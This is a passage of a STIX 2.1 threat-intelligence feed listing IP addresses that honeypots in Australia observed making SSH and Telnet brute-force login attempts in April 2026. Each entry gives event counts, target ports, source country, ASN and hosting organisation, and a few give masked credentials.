      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 320. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--97a8cf4e-9d21-4297-b741-b8a86c46ddb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.68.118.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--d51e0194-fc44-43d0-b6e8-bdbb4ede8eb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.105.179.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): c****g. Passwords observed (masked): c****g.",
      "id": "indicator--635571ad-be20-4070-8472-dd4171203bf4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--ce94e5f7-0e7a-47f9-9872-d41def870b71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.185.6.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 48635. Organisation(s): Your Hosting B.V..",
      "id": "indicator--aa8a7677-f5cd-44b9-b2a0-8df330d67c55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.186.173.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--148739d6-705b-4d7d-b96b-0f63b2740bce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.242.142.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 256. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--f4ec2293-55c9-483d-989e-47207d67aee6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.242.202.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA.",
      "id": "indicator--ab763164-b5ac-4888-a849-7d48e480a79b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.177.102.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 399471. Organisation(s): Des Equity LLC.",
      "id": "indicator--b732d1ce-c5b1-41a6-a506-8c15437ce924",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.182.128.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45839. Organisation(s): Shinjiru Technology Sdn Bhd.",
      "id": "indicator--5615c377-8267-4159-a5e8-626a4db0281b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.90.139.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 116. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--fd69c222-9417-4122-825c-3c7c81b8d1f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.203.75.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--0593caed-990e-42be-8ef6-f0c956eb66e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.122.23.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2f322ef7-af0f-4a6e-9dd2-c6a3701dad7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.110.239.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--078fcbf3-23a6-4faf-a831-2f5b2d67b2a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.230.2.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3f5382ec-7fe8-4a3b-a72e-a22328eea7ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.245.134.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer.",
      "id": "indicator--e796548f-5246-4550-8246-970d628db8a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.240.33.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 37154. Organisation(s): ZAMTEL.",
      "id": "indicator--48d1ce6f-a6f1-40a9-920c-2f6df480d51b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.56.66.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36351. Organisation(s): IBM Cloud.",
      "id": "indicator--af625b95-851c-49cc-b28a-4936f564d730",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '169.48.121.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--5b38472c-6cf0-41a6-9cc3-72feea58a491",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.105.181.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c76a5c17-70b0-4774-b719-cc05847fa847",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.94.33.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--35b1c20f-1dd7-4ce3-badb-449bd4bf27a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.244.226.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398779. Organisation(s): Ace Host, LLC.",
      "id": "indicator--60692fbc-9f22-4e89-9be1-279e951ee930",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.216.92.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 264. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13213. Organisation(s): Thg Hosting Limited.",
      "id": "indicator--90a6012b-30e1-4807-a1d0-62105d811b29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.24.230.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t. Passwords observed (masked): a******1.",
      "id": "indicator--ae81962a-0a0d-4ba0-8645-110f90dce683",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.50.54.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 39232. Organisation(s): Uninet LLC.",
      "id": "indicator--0267fd68-941b-486e-9a2c-49c8b19505a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.114.152.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC.",
      "id": "indicator--67fe8ff3-bb4a-43fb-87a5-eae0e31a11f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '50.116.97.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ef08ebee-39de-445a-b524-39cffa50c207",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.182.140.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 90. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 18447. Organisation(s): Ntirety, Inc..",
      "id": "indicator--e8e25048-fc5b-4bfc-8615-a608a54c8439",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.113.164.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:15:05.000Z",
      "valid_until": "2026-06-01T20:15:03.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--95df9d80-ba4e-4fb9-8b51-384fe114fc6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.50.213.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 23700. Organisation(s): Linknet-Fastnet ASN.",
      "id": "indicator--32a37b5f-5e7a-47c1-975f-88ea130df867",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.193.97.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--7f464768-673d-46a3-92ba-b048cfdfadda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.105.152.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--c42f7fc4-7f9c-45b3-9b13-345857eb125e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.105.184.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 58096. Organisation(s): Viter Evgeniy Vasilevich.",
      "id": "indicator--3fd16605-e8c8-4221-a6c6-1bcf517408f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.216.193.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--f0fb3eeb-0eed-4074-9ad9-b3c696141256",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.61.200.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--8e511bfb-989f-4beb-a541-4a0e9a298315",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1ed32274-b27e-4982-81ee-6b29a312c911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T21:16:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: AE. Usernames observed (masked): ***, m*****r, s**d. Passwords observed (masked): ***, m*****r, s**d.",
      "id": "indicator--4604d183-d563-4570-8d88-5ddb3637d4f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T21:16:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.183.177.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T21:16:26.000Z",
